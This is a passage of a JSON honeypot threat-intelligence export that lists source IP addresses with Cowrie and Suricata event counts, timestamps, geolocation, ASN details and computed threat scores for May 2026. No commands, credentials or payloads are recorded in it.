        "first_seen_30d": "2026-05-24T13:33:03.714000+00:00",
        "last_seen_30d": "2026-05-24T13:34:14.388000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "180.76.115.202": {
      "attack_count": 4,
      "first_seen": "2026-05-09T17:58:53.815Z",
      "last_seen": "2026-05-09T18:00:53.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T17:58:53.815000+00:00",
        "last_seen_30d": "2026-05-09T18:10:56.376000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.64.104.177": {
      "attack_count": 4,
      "first_seen": "2026-05-24T07:33:20.128Z",
      "last_seen": "2026-05-24T07:33:30.620Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T07:12:53.160000+00:00",
        "last_seen_30d": "2026-05-31T21:40:34.537000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "201.238.35.88": {
      "attack_count": 4,
      "first_seen": "2026-05-20T13:45:10.644Z",
      "last_seen": "2026-05-20T17:14:19.942Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:45:10.644000+00:00",
        "last_seen_30d": "2026-05-20T17:15:30.558000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "45.55.194.155": {
      "attack_count": 4,
      "first_seen": "2026-05-07T20:13:21.579Z",
      "last_seen": "2026-05-07T20:13:31.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:13:21.579000+00:00",
        "last_seen_30d": "2026-05-07T20:14:31.737000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "52.15.68.132": {
      "attack_count": 4,
      "first_seen": "2026-05-31T11:46:23.513Z",
      "last_seen": "2026-05-31T11:50:13.200Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 70.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-31T09:09:22+00:00",
        "last_seen_30d": "2026-05-31T18:43:19.741000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187,
        "Honeytrap": 88,
        "Mailoney": 13,
        "Cowrie": 4,
        "Dionaea": 4,
        "ConPot": 2,
        "CitrixHoneypot": 1
      }
    },
    "72.167.43.61": {
      "attack_count": 4,
      "first_seen": "2026-05-05T14:12:03.456Z",
      "last_seen": "2026-05-05T14:26:31.098Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:12:03.456000+00:00",
        "last_seen_30d": "2026-05-05T14:27:39.920000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "72.255.17.44": {
      "attack_count": 4,
      "first_seen": "2026-05-10T10:59:31.885Z",
      "last_seen": "2026-05-10T10:59:57.084Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T10:59:31.885000+00:00",
        "last_seen_30d": "2026-05-10T11:01:04.910000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "74.101.10.159": {
      "attack_count": 4,
      "first_seen": "2026-05-27T21:01:33.598Z",
      "last_seen": "2026-05-27T21:07:14.472Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Queens",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T21:01:33.598000+00:00",
        "last_seen_30d": "2026-05-27T21:13:39.261000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "77.93.51.53": {
      "attack_count": 4,
      "first_seen": "2026-05-11T13:56:40.235Z",
      "last_seen": "2026-05-11T14:00:43.721Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 43022,
      "as_org": "Seech-Infocom Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:56:40.235000+00:00",
        "last_seen_30d": "2026-05-11T14:02:20.943000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "103.156.17.15": {
      "attack_count": 2,
      "first_seen": "2026-05-15T06:29:37.736Z",
      "last_seen": "2026-05-15T06:31:37.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141077,
      "as_org": "RSTNET",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T11:09:55.532000+00:00",
        "last_seen_30d": "2026-05-20T07:06:48.860000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "109.207.241.54": {
      "attack_count": 2,
      "first_seen": "2026-05-07T16:20:44.676Z",
      "last_seen": "2026-05-07T16:21:15.495Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Chust",
      "asn": 61263,
      "as_org": "Modern store group LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:20:44.676000+00:00",
        "last_seen_30d": "2026-05-07T16:22:17.404000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "110.87.158.240": {
      "attack_count": 2,
      "first_seen": "2026-05-16T07:51:39.016Z",
      "last_seen": "2026-05-16T07:51:42.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xiamen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:51:39.016000+00:00",
        "last_seen_30d": "2026-05-16T07:52:45.049000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "120.28.163.252": {
      "attack_count": 2,
      "first_seen": "2026-05-23T03:32:04.294Z",
      "last_seen": "2026-05-23T03:32:17.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Juan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:32:04.294000+00:00",
        "last_seen_30d": "2026-05-23T03:33:26.137000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.153.31.155": {
      "attack_count": 2,
      "first_seen": "2026-05-11T02:22:57.051Z",
      "last_seen": "2026-05-11T02:23:09.814Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seosan City",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:22:57.051000+00:00",
        "last_seen_30d": "2026-05-11T02:24:18.182000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.180.67.208": {
      "attack_count": 2,
      "first_seen": "2026-05-22T04:04:20.914Z",
      "last_seen": "2026-05-22T04:04:33.883Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suncheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:04:20.914000+00:00",
        "last_seen_30d": "2026-05-22T04:05:36.864000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.243.179.33": {
      "attack_count": 2,
      "first_seen": "2026-05-03T17:41:31.841Z",
      "last_seen": "2026-05-03T17:41:43.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:41:31.841000+00:00",
        "last_seen_30d": "2026-05-03T17:42:47.162000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.241.209.43": {
      "attack_count": 2,
      "first_seen": "2026-05-08T00:27:01.239Z",
      "last_seen": "2026-05-08T00:27:15.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Daxi",
      "asn": 131596,
      "as_org": "TBC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T00:27:01.239000+00:00",
        "last_seen_30d": "2026-05-08T00:29:04.115000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.6.167.113": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:07:49.176Z",
      "last_seen": "2026-05-23T01:08:01.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:07:49.176000+00:00",
        "last_seen_30d": "2026-05-23T01:09:09.981000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.25.230.195": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:39:07.616Z",
      "last_seen": "2026-05-08T03:39:20.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Uttaradit",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:39:07.616000+00:00",
        "last_seen_30d": "2026-05-08T03:40:30.421000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "130.12.180.141": {
      "attack_count": 2,
      "first_seen": "2026-05-11T07:52:12.341Z",
      "last_seen": "2026-05-11T07:52:12.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 2786,
        "days_active_30d": 7,
        "ports_targeted_30d": 1343,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-08T19:15:27+00:00",
        "last_seen_30d": "2026-05-14T00:31:21.740000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1396,
        "Honeytrap": 1377,
        "ConPot": 5,
        "Dionaea": 4,
        "Cowrie": 2,
        "Dicompot": 1,
        "Medpot": 1
      }
    },
    "154.58.178.9": {
      "attack_count": 2,
      "first_seen": "2026-05-03T14:54:59.504Z",
      "last_seen": "2026-05-03T14:55:14.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 204170,
      "as_org": "Awaser Oman LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:54:59.504000+00:00",
        "last_seen_30d": "2026-05-03T14:56:23.167000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.49.1.172": {
      "attack_count": 2,
      "first_seen": "2026-05-09T09:16:19.509Z",
      "last_seen": "2026-05-09T09:16:32.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:16:19.509000+00:00",
        "last_seen_30d": "2026-05-09T09:17:40.206000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.108.106.63": {
      "attack_count": 2,
      "first_seen": "2026-05-13T04:36:09.554Z",
      "last_seen": "2026-05-13T04:36:22.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chernivtsi",
      "asn": 39431,
      "as_org": "ArgoCom Ltd.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:36:09.554000+00:00",
        "last_seen_30d": "2026-05-13T04:37:30.045000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.60.225.102": {
      "attack_count": 2,
      "first_seen": "2026-05-12T09:21:33.653Z",
      "last_seen": "2026-05-12T09:23:33.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": null,
      "asn": 270036,
      "as_org": "NORTVCOM, SOCIEDAD ANONIMA",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:21:33.653000+00:00",
        "last_seen_30d": "2026-05-12T09:34:22.830000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.0.81.137": {
      "attack_count": 2,
      "first_seen": "2026-05-18T04:30:01.100Z",
      "last_seen": "2026-05-18T04:30:14.452Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 46198,
      "as_org": "Trilogy Dominicana, S.A.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:30:01.100000+00:00",
        "last_seen_30d": "2026-05-18T04:31:21.615000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.44.186.247": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:55:01.174Z",
      "last_seen": "2026-05-09T14:55:14.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "La Serena",
      "asn": 22047,
      "as_org": "VTR BANDA ANCHA S.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:55:01.174000+00:00",
        "last_seen_30d": "2026-05-09T14:56:23.445000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.53.248.74": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:57:49.963Z",
      "last_seen": "2026-05-11T18:58:02.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "Tegucigalpa",
      "asn": 52262,
      "as_org": "Telefonica Celular S.A",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:57:49.963000+00:00",
        "last_seen_30d": "2026-05-11T18:59:33.922000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.200.219.32": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:05:18.837Z",
      "last_seen": "2026-05-03T16:05:32.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "A\u00efn Defla",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:05:18.837000+00:00",
        "last_seen_30d": "2026-05-03T16:06:37.388000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.8.235.131": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:32:02.031Z",
      "last_seen": "2026-05-12T16:34:02.034Z",
